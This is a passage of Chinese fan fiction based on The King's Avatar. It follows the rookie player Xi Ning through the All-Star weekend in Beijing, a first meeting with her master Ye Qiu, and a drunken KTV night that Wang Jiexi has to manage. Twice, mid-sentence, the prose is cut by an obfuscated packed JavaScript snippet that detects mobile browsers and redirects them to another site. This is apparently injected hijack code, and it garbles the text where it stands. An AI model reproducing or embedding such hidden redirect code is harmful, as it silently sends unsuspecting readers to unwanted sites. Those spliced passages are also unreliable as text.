而细数历届全明星的举办地,北京的出现频率首屈一指,过去,这里有初代豪门皇风战队坐镇;如今,则有如日中天的微草战队。作为首都,它似乎天然就是荣耀最高舞台的不二之选,哪怕是荣耀之外也承载着无数人的梦想与期待。 但这都与她无关,也并不影响她的讨厌。 这份不喜欢的根,深扎在她的过去里。 息宁很少对外人提起自己的家庭。父母早年离异,她的抚养权判给了父亲,但真正将她拉扯大的,其实是奶奶。离婚后没多久,父亲便以“工作调整”为由奔赴北京,很快重组了家庭,有了全新的生活,甚至息宁有了个名义上的弟弟。 为了在北京扎根,他卖掉了青岛的房子,又动用了奶奶攒了半辈子的“棺材本”,这才勉强凑够首付。 托他的福,息宁的生活变得更加捉襟见肘,所有关于“家”的所有记忆与期待,也随着那房子一同被变卖、清空。 她对父母谈不上怨恨,她自认为已经同自己和解,她向来活得薄情寡义,认定的亲人只有奶奶一个。 但这份相依为命的亲密里,始终横亘着一个事实:奶奶最深的牵挂,是她远在北京的儿子,哪怕一年最多见一两面,奶奶也放不下。奶奶给予息宁的爱与庇护,在很大程度上,是伟大母爱的延续,是对缺席儿子的情感投射。 一旦知道孙女要去北京,老人家多半会念叨起他,会欲言又止地让她“顺便看看”,或者只是长长地叹一口气。那声叹息,比任何明确的请求都更让息宁感到无力。 最后,她也只能含糊地搪塞过去,说这次出差时间紧任务重,就算去了也没空见人的。再说,自己只是个新人,去不去得成还不一定呢。 毕竟,奶奶文化程度比较低,是理解不了“荣耀”、“电竞”、“职业选手”、“全明星”这些新鲜词的。 每次回家,息宁都把自己这份工作描述成“一个坐办公室玩电脑的长期兼职”,比在学校食堂帮忙打饭挣得多多了,天天都能坐着干活。在老人家的认知里,“坐办公室”就是稳定、体面、赚钱多,能靠玩电脑赚钱更是不得了。 按照计划,霸图战队确实是打算全员前往北京参加全明星周末的。息宁作为备受关注的新人,完全有资格报名参加新人挑战赛,这是一个在更大舞台上亮相的绝佳机会。 但息宁对北京实在提不起劲。当经理来确认行程时,她第一反应不是激动,而是非常务实地发问:“去全明星,战队报销机票、酒店和餐费吗?” 经理被她这扑面而来的“现实”气息噎了一下,没好气地回:“报! 按比赛标准报销!” “新人赢了前辈有奖金吗?” 霸图经理:“……” “哦,知道了”息宁点点头,“那我……考虑考虑。” 经理无语,咬牙切齿:“要不,我帮你问问联盟?” 最终让息宁下定决心的,是苏沐橙发来的一条消息:“小宁,全明星周末你打算去?……难道你不想见一见叶秋本人吗?” 叶秋,她那个从未谋面,却手把手把她从网游里捡出来,一路指点进职业圈的师父。 因为赛程安排,霸图和嘉世的比赛被排在了年后,她至今都没机会亲眼见一见这位传说中的大神。现在机会就摆在眼前……难道要因为一个早已无关紧要的人,错过和师父见面的机会吗? 心底那点对北京的抗拒,在“见师父”这个巨大的诱惑面前,忽然变得轻飘飘的,不值一提了。 “去!”她立刻回复经理,语气斩钉截铁,“新人挑战赛,给我报名!” 经理有点意外她的转变,顺口问道:“想好挑战谁了吗?不会是……叶神吧?” “挑战他?我疯了吗!”息宁秒回,语气里充满了“往事不堪回首”的痛楚,“跟他我打吐了都! 线下见面就为了再被他虐一遍?不可能!” 经理被她这过于生动的用词逗乐了:“行,你们山东人这倒装句确实很倒装。那你想挑战谁?” 息宁的回答没有丝毫犹豫,目标明确,思路清晰:“当然是周泽楷啊!” 她甚至已经帮官博想好了后续宣传:“到时候让官博姐姐多拍点我和周泽楷的同框照片,高清的、有互动的最好!赛后发博文案就写‘新人向前辈致敬,努力追赶联盟第一人!’……咱们正好蹭一蹭枪王的热度,圆满完成本月的社交媒体互动数据KPI!” 霸图经理沉默了两秒。 他忽然觉得,这孩子如果不打职业,来干运营或者市场,可能也是一把好手。 这份对“热点”和“KPI”的天然敏感度,简直是为这个流量时代而生的。 “行,给你报上。”经理应下,又忍不住叮嘱,“不过,挑战归挑战,你作为选手重点是好好比赛,‘蹭热度’是我作为经理该考虑的……” “知道知道!”息宁答应得飞快,“热度要蹭,比赛也要认真打! 这可是面向全国荣耀观众的免费广告位,不能浪费!不过你经理不要乱炒CP啊!那可是周泽楷!我不配!而且你信我,经理你是真没有CP爆火这个命!” 霸图经理不满地瞪她一眼,净提他的伤心事! 本赛季,霸图经理因为眼馋蓝雨的“剑与诅咒”、嘉世的“叶橙”、虚空的“双鬼”等一系列热门CP带来的庞大流量与周边分成,决心开启“广撒网”模式。 他新建了一个Excel表格,把队里所有队员的名字两两排列组合,挨个编排故事线、起CP名、建超话,准备大展宏图。 当然,碍于韩队的绝对威压,他没敢触碰霸图内部那对禁忌的“韩张”。 何况这一对根本不用推,热度就已一骑绝尘。 作为一个直男,他主推的仍是异性恋。 研究了半天表格,他矬子里拔将军,最终选定“张新杰×息宁”作为主推。 他甚至偷偷潜入那个小众的“杰息”超话,试图暗中添火。 奈何圈子实在太小。 霸图粉丝一向豪气干云,对这种“小情小爱”兴趣寥寥,喜欢磕CP的又觉得这是母女情,这超话本就苟延残喘。 更戏剧的是,这方“自留地”早被势力庞大的正副队长CP粉盯上了。 在韩张粉的宇宙观里,对息宁的最大善意,便是允许她加入这个家庭,做个女儿,别的想都别想! 一位极端粉丝卧薪尝胆、步步为营,最终夺下“杰息”超话的主持大权,反手就将霸图经理这个“异端头子”连同少数CP粉一并清理。 超话瞬间改头换面,删帖换头像,简介改成:“一家三口,严父(韩)慈母(张)小女(息),家和霸图兴。” 经理心塞无比,不信邪的他放弃直男矜持,又尝试强推了几对同性CP,结果无一例外,逐一折戟。 他的小号天天被人身攻击:“眼瞎!”、“吃点好的吧!”、“这么硬的糖还没崩掉你满口牙?”、“CP脑也不能智障吧!” 而息宁竟靠着一张熏肉大饼,和微草的刘小别成了CP,在网上小有人气……那股不甘与屈辱终于到达顶点,让他把一切过错都归咎于那张无辜的饼。 得知经理的“光辉战绩”,白言飞笑封他为“CP百草枯”:“经理,认命吧!你推哪对,哪对就黄!咱霸图真正火的CP,只有你碰都不敢碰的那对!不过你最好一直别碰,我怕你今天开推,明天网上就说咱们正副队长离婚……” 息宁路过,拍了拍他的肩膀,语气是看透一切的淡然:“工业糖精齁死人,命里无时莫强求。” 经理捧着手机,痛心疾首。良久,他悲壮地抬头,为这场漫长的CP战争盖棺定论:“人家蓝雨有‘剑与诅咒’,咱们霸图……勉强也有个‘家有儿女’。” 他长叹一声,仿佛参透了某种宇宙真理:“认了!我,都认了!” 至于见师父这件事,真到了眼前,息宁竟然还有点近乡情怯般的紧张。 一种非常微妙的“网友面基”感,萦绕不散。 三人提前一天抵达北京,找了家有包间的小馆子约饭。虽然叶秋从未露脸,息宁也算不上高人气选手,但毕竟有苏沐橙在,小心为上。他们像特工接头一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16948403|192855||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 样,快速溜进预定好的包厢。 息宁坐在两位大神对面,之前脑子里演练过无数次的活泼开场,忽然卡了壳,一时竟不知该说什么,直盯着师父的脸不礼貌,她视线游移片刻,飘忽不定,最终落在叶秋随意搭在桌边的手上,真白!手指细长,是双天生该握鼠标、敲键盘的手。 “怎么?”叶秋的声音带着熟悉的调侃味道,透过真实的空气传递,比耳机里更多了几分质感,“网络上重拳出击,线下就沉默是金?小宁,你还搞两副面孔啊?” “胡说!”息宁条件反射般反驳,找回了状态,“我表里如一!” “表里如一?”叶秋笑了,“那按照你‘表里如一’的风格,此刻第一件事,难道不是该伸手问为师要师徒见面礼吗?” 被点破爱财如命的人设,息宁也不再扭捏,立刻伸出手掌,摊在叶秋面前:“所以……有吗?” 叶秋看着她摊开的手,慢条斯理地从口袋里摸出一样东西,轻轻放在她掌心。 一颗薄荷糖,还是叶秋昨天吃饭结账时店家送的。 息宁不可置信地盯着掌心那颗小小的薄荷糖,皱眉眯眼,看了足足五秒,才抬起头,眼神里写满了“你逗我”:“就这?” “小宁啊!”叶秋语重心长,语气里却满是笑意,“你要理解,咱们师门,一向贫寒。” “看看点的这几个菜行不行?”苏沐橙适时地打断这师徒俩你来我往的“胡搅蛮缠”,把她刚刚写好的点菜单推过来。 息宁的注意力却还停留在“贫寒”二字和那颗奶糖上,她猛地想起什么,警觉地抬头:“等等……你满口贫寒,这顿饭,谁请?” 叶秋闻言,立刻朝她递过一个“你懂的”眼神,语气更加沉重地重复:“小宁啊,你要牢记,咱们师门,一向贫寒。” 息宁瞬间心领神会,表情变得无比严肃,转头看向苏沐橙,语气沉痛:“沐橙姐,你也听到了……我们师门,真的……特别贫寒。我连来全明星的差旅费用,都是蹭战队报销的。” 苏沐橙看着眼前这配合默契,联手“哭穷”的师徒俩,忍不住扶额,终于笑出了声:“……服了你俩了。” 她摇摇头,拿起菜单,又默默添了两个硬菜。 谁让她是这“贫寒师门”里,唯一看起来还算“富裕殷实”的那个呢? 而息宁,则小心地把那颗糖揣进了口袋。 礼轻情意重……嗯,主要是,不能浪费。 饭后,叶秋拿着苏沐橙的手机去结账,回来时,手里抓了一把前台免费提供的薄荷糖,一股脑儿塞给息宁,语气郑重:“拿着,小宁!再穷不能穷教育,再苦不能苦孩子!咱们师门,也算是……富起来了。” 息宁:“……” 次日,全明星新秀挑战赛。 息宁作为挑战者登上舞台,她的挑战对象是轮回战队队长,周泽楷。 主持人将话筒递到她面前,惯例问道:“作为新人,选择挑战联盟的‘枪王’周泽楷,是出于什么样的理由呢?” 息宁面向镜头,展露出甜美笑容,声音清脆:“因为我想成为像周泽楷前辈一样优秀、一样成功的选手!” 台下,霸图选手席。 周光义用手肘碰了碰旁边的郑乘风,压低声音:“你听小宁这话……她说的‘优秀成功’,指的是技术,还是代言费啊?” 郑乘风思索片刻,谨慎回答:“我觉得吧……一半一半?” 白言飞凑过来,语气斩钉截铁:“得了吧!三七开! 三分敬技术,七分馋代言!” 台上的息宁,自然听不到队友的精准“解读”。比赛开始,她全力以赴,操作拉满。她早就预料到会输,但没想到,周泽楷这位联盟第一人,竟格外地有绅士风度。 虽然有较大的实力差距,他也没有选择迅速结束战斗,反而像是配合着息宁的节奏,给了她充足的展示空间,让她反复尝试,不断进攻,息事宁人在枪王手下多走了好几个漂亮的回合。最后,才优雅地爆了息事宁人的头,结束了比赛。 真是个好人! 息宁在心里给周泽楷发了一张金光闪闪的好人卡。 这哪是PK,这简直是业界顶级大神免费陪练还附带流量热度的良心福利! 赛后下台,张新杰怕她因失利而沮丧,特意等在一旁,准备出言安慰。 谁知息宁一脸神采飞扬,全然不见落败的阴霾。她快步走到副队面前,双眼放光,语气是发现了新大陆般的激动:“副队!我今天算是明白了!网上那些都是胡说八道!” “周泽楷前辈哪是什么花瓶?他们都是嫉妒!就算是花瓶,他也是金刚石做的花瓶!又好看,技术又硬!”她握紧拳头,仿佛顿悟了人生至理:“果然!只有技术够硬,才能接到大代言! 我悟了,我真的悟了!” 张新杰看着她那副惊喜的模样,以及话里话外依然牢牢固定的“代言”核心,沉默了两秒。 算了,思维清奇就清奇吧。 至少,“苦练技术”这个最终结论,是对的。 他推了推眼镜,最终只是平静地点了点头:“好,你加油。” 11.第 11 章 全明星周末最后一晚,本该是喧嚣落幕后难得的轻松时刻,息宁却一个人坐在酒店房间里,经历着一场漫长又生硬的“尬聊”。 起因是她通讯录里那个久未响起的号码,备注是简简单单四个字:“那个男人”。 奶奶知道她要来“北京出差”,终究还是忍不住给儿子打了电话。老人的心思简单又执拗:孙女难得来一趟,当父亲的总该照应一下。见个面、吃顿饭,哪怕只是打个电话问问呢?在她看来,这都是修复关系的机会。 电话接通了。 听筒里传来的声音,熟悉又陌生。息宁握着手机,感觉比前一天见到师父叶秋真人时,还要僵硬千百倍。 她或许不够聪明,也不够敏感,但对方话语里那份小心翼翼的客套,以及字里行间生怕她提出见面或额外要求的隐约不安,她还是听懂了的。 毕竟对于他的新家庭,她是个不安定因素。 而这通电话,纯粹是完成奶奶交代的“任务”。 好在,她也一样,她也没想过要得到什么。 “住在酒店,要工作了。”她听见自己的声音干巴巴地响起,带着一种过早的懂事和疏离,“没事我挂了。” “哦……好,那你自己注意安全。”对面的回应几乎同时传来,如释重负。 电话挂断,屏幕暗下去,没有再亮起。 果然,不如早点挂掉,彼此都解脱。 虚伪的装模做样干什么? 本来息宁打算在竞技场虐菜一整晚,但架不住柳非和刘小别消息轰炸,盛情相邀。年轻选手们趁着全明星最后一天假期,背着各家正副队长,悄悄约在酒店附近的一家KTV。 息宁姗姗来迟,推开包厢门时,里面已经闹成一团。唐昊正霸占着麦克风,吼得酣畅淋漓。见她进来,唐昊暂停了嘶吼,扭头问旁边的刘小别:“哎,息宁唱歌怎么样?好听吗?” “她的唱歌水平……”柳非抢在刘小别之前,一脸微妙地接话,“是那种如果一起去KTV,我绝对不会给她A钱的程度。” “这么厉害!”唐昊一听,眼睛亮了,“那可以和我一战!”显然是对自己的歌喉有着同等级别的“自信”。 刘小别面露难色:“是另一种意义上的……厉害。” “我不和你唱。”息宁拒绝得干脆利落,她径直走过去,拉起柳非:“走,点歌去。” 包厢里很快响起了“如果的事”的前奏。柳非负责甜美原版部分,唱得婉转动听。轮到息宁的part时,她拿起麦克风,清了清嗓子,然后在唐昊期待的目光中,开始了她的个人特色改编: “如果我不能一夜暴富,两夜我也等得住~” “半个月其实也不耽误~” “我可以没爱情光顾,但不能没收入~” “可以吃爱情苦但不能吃土~” 字正腔圆,情绪饱满,调子居然还能严丝合缝地对上原曲旋律。只是这歌词内容,从缠绵悱恻的“如果的事”,彻底跑偏成了掷地有声的“现实主义致富宣言”。 包厢里安静了一秒。 随即,爆发出几乎掀翻屋顶的哄堂大笑。 袁柏清拍着沙发扶手,笑得东倒西歪:“哈哈哈哈绝了!息宁你这歌词改得,灵魂!太有灵魂了!” 邹远在一旁,一边笑一边很实诚地补充:“那个……这好像是网上流行的改编版本吧?我之前刷到过类似的……” 息宁闻言,一脸“找到知音”的欣慰,用力点头:“对!就是这个!我特意学的! 是不是特别写实,特别有共鸣?!” 刘小别扶额,又好气又好笑:“所以你找了半天歌单,就为了唱这首‘暴富版’?” “当然!”息宁理直气壮,“KTV不唱点有理想、有追求的歌,那还有什么意义?我花钱唱歌,自然要物尽其用,招财为上!” 这批人人中麦霸极多,加上基本都是新人,倒也玩的比较肆意。 但息宁吼完那首《如果的事》,就被孙翔一把抢过了话筒,她默默看了一眼,觉得人类无需跟“傻子”计较,默默缩回了沙发角落。 她一进来就盯上了角落里那箱啤酒,心里还给这家KTV点了个赞:真会赚钱。酒这东西,只要摆在包厢里,就总有被开瓶的可能。 其他几名选手嘻嘻哈哈地点歌、抢麦,闹成一团。 等柳非再次想起她时,发现这姑娘面前已经摆了六七个空酒瓶,脸颊绯红,眼神迷离,正靠墙傻笑。 “息宁?你还好吧?” “好!怎么不好!”息宁猛地坐直,声音拔高,带着醉意的亢奋,“我还能唱歌呢!给我点歌!我要唱“向天再借五百年”……的改编版!” “她这是……喝醉了吧?”邹远有点担心。 “应该是喝醉了。”刘小别看着那排空瓶子,下了结论。 息宁的酒品实在一般,场面开始滑向失控的边缘。 她试图去抢唐昊紧握的麦克风,被对方一脸“莫挨老子”的嫌弃躲开;嚷嚷着非要跟柳非拜天地;后面非说孙翔和邹远是她婚礼上的表演嘉宾,逼他俩一起唱rap,还要逼孙翔回答脑筋急转弯;甚至扒着刘小别的胳膊,要求他立刻去买一百张熏肉大饼,给今天来吃喜宴的添个菜…… 混乱中,柳非的手机响了。屏幕上“队长”二字,让她心里咯噔一下。 她战战兢兢地溜到门外走廊,接起电话。 “几点了?怎么还没回来?”王杰希的声音透过听筒传来,平静无波,却自带压力。 “队长,我们……在KTV。但是,息宁好像喝多了,现在有点……管不住。”柳非不敢跟王杰希扯谎,压低声音,小心的措辞,“要不,您帮忙联系一下霸图的张副队?” 她没敢提韩文清的名字,谁都知道,息宁平时最怕那位了,这种情况还是别让韩队见到了。 更何况,柳非也怕! 韩队万一觉得是她带坏了自家“闺女”,来个无差别攻击怎么办,网上不都说韩队是息宁威严的老父亲吗? 十五分钟后,王杰希的身影出现在了KTV包厢门口。 微草几位队员瞬间脊背一僵,有种被班主任深夜查寝的心虚,但奇怪的是,内心又同时升起一股“终于有大人来管了”的解脱感。 老父亲的定位就是如此,让人一边惧怕,一边依赖。 包厢里,息宁正举着话筒,忘我地嘶吼着一首暴富版的“我想要占据你”,情绪饱满,催人泪下。 王杰希的目光扫过现场,在那排刺眼的空酒瓶和明显神志不清的息宁身上顿了顿,皱眉转向一旁的刘小别:“你们都喝了?” “没有!绝对没有!”刘小别把头摇得像拨浪鼓,“就她一个人喝的!她自己偷偷喝的!我们真没注意!然后她就发疯,完全按不住。” 刚才,他们也尝试过控制局面。 起初是让柳非去沟通安抚,想把她提前劝回去。 结果一番折腾下来,几个男生轮番上阵,都险些按不住她,对着一个小姑娘,他们几个男生既不敢真的动手动脚,又架不住她滑不溜手还力大无穷,一番劳心费力,几人累得气喘吁吁,活像刚打完一场高强度的加时团队赛。 而战场中心的息宁,精力依旧异常充沛。 甚至在和几人玩了一阵“你追我赶”的秦王绕柱走后,还能中气十足地出言嘲讽:“我体力最巅峰的时候,一天打三份工!从早到晚连轴转!你们这些天天坐在电脑前的宅男,还想‘欺负’我?可笑!可笑!” 几位“宅男”面面相觑,身心俱疲,心中不约而同地升起一个悲愤的念头:这到底……是谁在欺负谁啊?! 而此刻王杰希改变了这一切。 他的到来本身并无特别,但在此刻却莫名地让所有人都暗自松了一口气。 哪怕论年纪,他比在场的人也大不了几岁,但微草队长这个身份所代表的“靠谱”与“能镇住场子”,在联盟里是出了名的。那是一种经年累月沉淀下来的、令人信服的权威感。 空气似乎都随着他的进入,平稳了几分。 “刘——小——别——!”就在这时,息宁的歌声戛然而止。她眯着眼,终于注意到了门口那个熟悉又威严的身影。 下一秒,她举起话筒,用足以掀翻房顶的音量,欢快地宣布:“快看!你们微草的爸爸来了!” 刘小别:“……” 为什么偏偏叫我? 明明柳非袁柏清也在啊! 他感觉自己的头发根都要竖起来了,完全不敢去看自家队长此刻的表情。 “真好!你爸爸来接你了!”息宁依旧不要命的火上浇油,“你们跟爸爸回家吧,我要接着唱歌了。” 而后,她竟旁若无人的又唱起来。 袁柏清硬着头皮,小声打破凝固的空气:“队长……您没叫张副队一起过来吗?” “他晚点到。”王杰希语气依旧平稳。实际上,他在赶来的路上就给张新杰打了电话,连拨几个都无人接听,大概是睡了。在他准备转而联系韩文清时,张新杰的电话回了过来。简单说明情况后,对方只回了句“我马上到。” 王杰希看着包厢中央那个还在跟话筒较劲的霸图新人,心中忽然涌起一丝复杂的感慨。 新人挑战赛的上台挑战周泽楷的时候,看起来还像个乖巧新人,此刻…… 这姑娘,怎么每次出现,都能给人带来一些意想不到的“反差”呢? 想到微草网游里公会反馈的《关于“某对神秘高手组合”兴风作浪的汇报》……王杰希不由猜测,这难道就是拜叶秋为师的“副作用”? 毕竟学好不容易,学坏一出溜。 好不容易,联盟里嘉世的时代似乎过去了。 结果叶秋反手就“培养”出这么一个徒弟,虽然还没在联赛里掀起滔天巨浪,但在网游里……这对师徒可是没少让各家公会头疼。 就没见过这么愿意混网游的职业选手! 托这姑娘的福,连霸气雄图和嘉王朝这对老对头,现在都能忍着恶心,偶尔把腿穿进同一条裤子里了。 在稀有材料和野图BOSS的巨大诱惑面前,仿佛一切恩怨都可以暂时搁置,倒是苦了其他公会。 念头转完,王杰希将那些属于战队队长的思虑暂且按下。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16952511|192855||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他迈开步子上前,目标明确,动作干脆,在息宁下一句惊世骇俗的歌词飙出之前,伸手直接拿过了她手里的话筒。 息宁手里一空,不满地皱了皱眉。 她仰起头,眯着眼,努力聚焦辨认眼前的人。 看清又是王杰希后,她非但没收敛,反而凑得更近,几乎要贴到对方下巴,然后“恍然大悟”地大声说道:“哦!刚才王队来接孩子回家了。” “真是个好爸爸啊!”她打了个小小的酒嗝,眼神迷离却闪烁着“发现了大秘密”的光芒:“怎么,现在你也要给我当爸爸吗?” “啧!我不要!我……不需要!我不抢别人的爸爸!”话音未落,不等王杰希反应,她便带着恶作剧得逞般的笑容,非常“流氓”地踮起脚尖,贴近王杰希的脸,慢悠悠地“呼”了一口气。 混合着果酒与麦芽发酵气息的浓郁酒气,热烘烘地糊了王杰希一脸。 王杰希:“……” 他身体瞬间僵住,眉头锁紧,下意识地向后微仰,试图避开这波“生化攻击”。 那双惯常沉稳的眸子因为息宁的突然靠近而染上一抹惊愕,两只眼睛不自觉地瞪大,左右眼原本就存在的微妙大小差距,在此刻显得尤为明显。 整个包厢,死一般的寂静。 在王杰希抢下话筒后,袁柏清很有眼色地偷偷溜过去暂停了歌曲。 此刻,只有隔壁包厢鬼哭狼嚎的歌声隐约传来,衬得这边愈发寂静如坟场。 微草的几位队员集体石化,连呼吸都屏住了,随后眼珠子几乎要瞪出眼眶。 真是疯了! 冒犯君颜,她怎么敢的啊?! 这简直是诛九族的大罪!! 刘小别默默在心里给息宁点上了一排蜡烛,安息吧。 看在CP一场的份上,明年今日我给你烧香。 紧接着,一个更现实的问题出现在他的脑中:自己作为息宁在荣耀网游里的“短期战略合作伙伴”(特指被拉着一起抢过蓝溪阁的BOSS),以及更荒谬的,因为一张熏肉大饼而在粉丝口中被强行绑定的“CP”,是否会被划入她的“九族”之列,从而被队长的怒火一并波及。 但一旁的孙翔则挑了下眉,一脸“这姑娘真勇,吾辈楷模”的佩服表情,甚至有几分想给息宁鼓掌的冲动。 所有人的目光,都聚焦在王杰希那张被酒气“洗礼”后,依旧表情莫测的脸上。 王杰希不动声色的扫视他们一眼,深吸一口气,小心地避开了正前方的酒气来源,决定不与醉鬼论长短。 他转过头,看向已经吓得不敢动弹的刘小别,语气平静却不容置疑:“去问问有没有温水。” 随后,他的目光落回眼前这个还在对他傻笑,毫无危机意识的“醉鬼”身上。 看来,在张新杰这位“正牌家长”赶到并领走这个麻烦之前,他这个被迫上岗的“临时爸爸”,还得先履行好“保姆”的职责。 待张新杰赶到包厢,里面已经清净下来。 除去微草战队几人,其余人早散了。 息宁被王杰希控制在沙发角落,手腕被他牢牢扣着,动弹不得。 饶是如此,她依旧梗着脖子,对王杰希表达着不满:“看你是长辈,才给你几分面子!” 旁边三个微草队员杵在那儿,神色尴尬。 “副队!”息宁一见张新杰,眼睛立刻亮了,声音里还带着点没心没肺的兴奋。 王杰希见人到了,松了手,侧身让开,息宁立刻像只重获自由的猫,“噌”地弹了起来。 张新杰朝他略一颔首,先是道谢,再是道歉,随即转向息宁:“小宁,走了。” “不走!”息宁一屁股坐了回去,眼神因醉意而迷离,拒绝的理由却清晰无比:“一小时一百八呢!钱都花了,不唱回本怎么行?” 果然还是这句! 方才她翻来覆去嚷的,也就是这个,无论众人怎么劝,她就是岿然不动。 张新杰没接话,只从口袋里摸出手机,拇指在屏幕上利落地点了几下,然后手腕一转,将屏幕递到她眼前。 亮起的界面上,是一条转账记录:200.00元。 息宁眨了下眼。 下一秒,她“蹭”地站起身,煞有其事的拍了拍衣角,头也不回地朝门口走去。 包厢里静了两秒。 微草几人互相看了一眼,谁也没出声,但彼此的眼神里都写满了同一种近乎荒诞的感慨。 原来两百块就能让她乖乖走人。 那他们之前陪在这儿,又是劝,又是拦,陪她“秦王绕柱”,上演“老鹰抓小鸡”,到底图什么? 人生仿佛就是如此。 那些令人头疼的问题,那些让人深陷其中,又精疲力竭的荒唐闹剧,那些你以为需要动用全部智慧、勇气甚至堵上尊严去煎熬的麻烦…… 最后的收场,往往潦草得令人错愕,甚至带着点荒谬的简单。 只是世人都身处其中,便看不清,寻不到解题之法,便会“着相”。 门被轻轻带上,房间外的光影与嘈杂一闪而没,世界重归它原本的秩序。 12.第 12 章 第二天息宁醒来时,脑袋像被队长的“霸皇拳”无情锤过一样疼。 她闭着眼在床头摸索了半天,终于抓到手机。刚按亮屏幕,微信图标上那串鲜红的未读消息就像警报一样刺进眼里。 柳非:“@息宁 还记得昨晚发生了什么吗?你害死我了!!!” 刘小别:“你怎么敢的啊?!” 袁柏清:“你怎么敢的啊?!” 唐昊:“我敬你是条汉子!” 孙翔:“我不唱rap不代表我不行!” 在一片震惊与调侃中,邹远的留言显得格格不入的温柔:“小宁,醉酒后喝点盐水或蜂蜜水,胃会舒服些。” 紧接着是看热闹不嫌事大的。 苏沐橙:“小宁,听柳非说你喝多了非礼王杰希了?快!展开说说!” 楚云秀火速跟进:“你的大热CP不是刘小别吗?这剧情走向……你俩以后岂不是要变‘小妈文学’了?” 而霸图队员内部群里,队规又增加了一条:“即日起,各赛季比赛期间,全体队员严禁饮酒。” 公告下面,队友们已经默契地排起了疑惑的队形:“息宁又干嘛了?” 这段时间,霸图的队规确实以肉眼可见的速度“丰富”了起来,而且每一条都像为她量身定制。 压在所有消息最底端的,是自家副队八点整准时发来的两个字:“下楼。” 息宁盯着那两个字,仿佛能透过屏幕看到副队毫无波澜的脸。她哀嚎一声,把脸埋进了枕头里,自己到底在干什么啊。 北京果然是个令人讨厌的城市! 把自己也变得讨厌了。 息宁揉着发胀的太阳穴,一步三挪地蹭到楼下餐厅时,早餐时间早已结束。霸图全队却都整整齐齐的坐着,分明是在等她。她没敢去看自家队长韩文清的表情,只像只察觉到危险的猫,贴着墙根,小心翼翼地挪到了副队张新杰身边。 张新杰没说话,只是将一袋面包和一盒早餐奶推到她面前,然后拍拍韩文清的肩膀,转头看向正在啃面包的息宁。 “还记得昨天的事吗?”他的声音很平静,听不出情绪。 一些破碎又惊悚的画面猛地撞进脑海,不,不可能!那一定不是自己! 她用力闭了闭眼,试图把这些可怕的“幻觉”从脑子里甩出去。 对,她不记得了!只要她咬死不认,事情就没有发生过! “完全不记得了!”息宁立刻摇头。 “你的表情可不像不记得。”张新杰站起来朝息宁招手,“过来。” “啊?副队我错了!我说是酒先动手的,你们信吗?往日之事不可追,来日之事犹可待,我们珍惜当下吧。” 张新杰没有接她的话,而是问了另一个问题:“你喜欢喝酒吗?” 息宁用力的摇摇头。 这印证了张新杰的判断。 在他印象里,息宁绝大多数时候都是省心懂事的:训练积极,热爱学习,在电竞基地里愿意看书的选手堪称凤毛麟角,虽然对钱有些执着、偶尔发言跳脱,但能将学业与职业平衡至此,已证明了她远超同龄人的自律。 张新杰对努力的人,一向抱有欣赏。 更何况,他清楚记得,某次经理醉酒回基地,息宁曾明确表示过对酒的厌恶。 在青岛这个与啤酒强绑定的城市,那天不少本地选手都吹嘘起自己初高中的酒量,她却皱眉表示自己对酒的反感:“完全不理解,酒这东西多难喝啊!” 张新杰记得她的原话,更何况他当天就警告过大家:职业选手少喝酒,影响操作。 一个平时情绪稳定,不主动惹麻烦,甚至厌恶酒精的姑娘,突然在聚会上失控买醉、性情大变……这背后必然有原因。 是为情所困?还是家庭、友谊出了问题?张新杰无法凭空推断。 按道理,选手的心理与生活问题本该是经理的职责范畴。 他看了看时间,已是凌晨,觉得自己这个副队长实在是操心太多。 于是,在将息宁送回房间后,他径直走向了经理的房间,抬手敲响了门。 不顾经理睡眼惺忪的困倦,张新杰简单的说明了一下今晚的情况,而后直接提出要求:“我需要调阅息宁入队时的信息登记表存档。” 这份表格通常只是流程文件,填完归档便无人问津。经理虽不解,还是打着哈欠,在电脑里翻找起来,调出了那份表格的PDF扫描件。 表格内容很基础,息宁填得倒是认真,字迹工整清秀,远超大多数选手龙飞凤舞的笔迹。 唯一刺眼的不和谐之处,出现在父母信息一栏,那里打着一个醒目的“×”。 而在紧急联系人旁边,关系一栏写的是:奶奶。 张新杰的目光在那两处停顿了片刻,他转向经理:“明早,以战队工作人员的身份,给这个号码打个电话。了解一下息宁的家庭情况,对面是老人,注意沟通方式和语气。” 经理办事还算靠谱,次日一早便拨通了电话,通话时间不长,但足够拼凑出一个清晰的轮廓:父母离异,母亲彻底断联,父亲在北京重组家庭,息宁从小由奶奶抚养长大。他迅速将了解到的情况,一并反馈给了韩文清和张新杰。 三人简短地通了个气:如果息宁主动解释,他们便顺势安慰、引导;如果她选择沉默,他们便暂且不问,先带她返回基地,日后寻个合适的契机再谈。 眼下,在餐厅里,张新杰瞥了息宁一眼,见她眼神躲闪,试图用一贯的插科打诨蒙混过去,便明白她是选择了后者。 “下不为例。”张新杰的声音平静,却带着不容置疑的分量,为昨晚的闹剧暂时画上句号。 然后,他话锋一转,提出了此刻必须完成的事项:“快点吃,一会儿带你去跟王队道歉,并道谢。” 王杰希不愧是联盟中公认的“好爸爸”型队长。面对息宁那几句明显心虚、眼神乱飘的道歉与感谢,他面上看不出半分波澜,半点没有为难她的意思,甚至用那种一贯平稳的语气叮嘱道:“以后尽量少喝。女孩子出门在外,安全第一。” 王杰希略一停顿,又补上更无可辩驳的理由:“酒精对职业选手的操作稳定性,会有影响。” 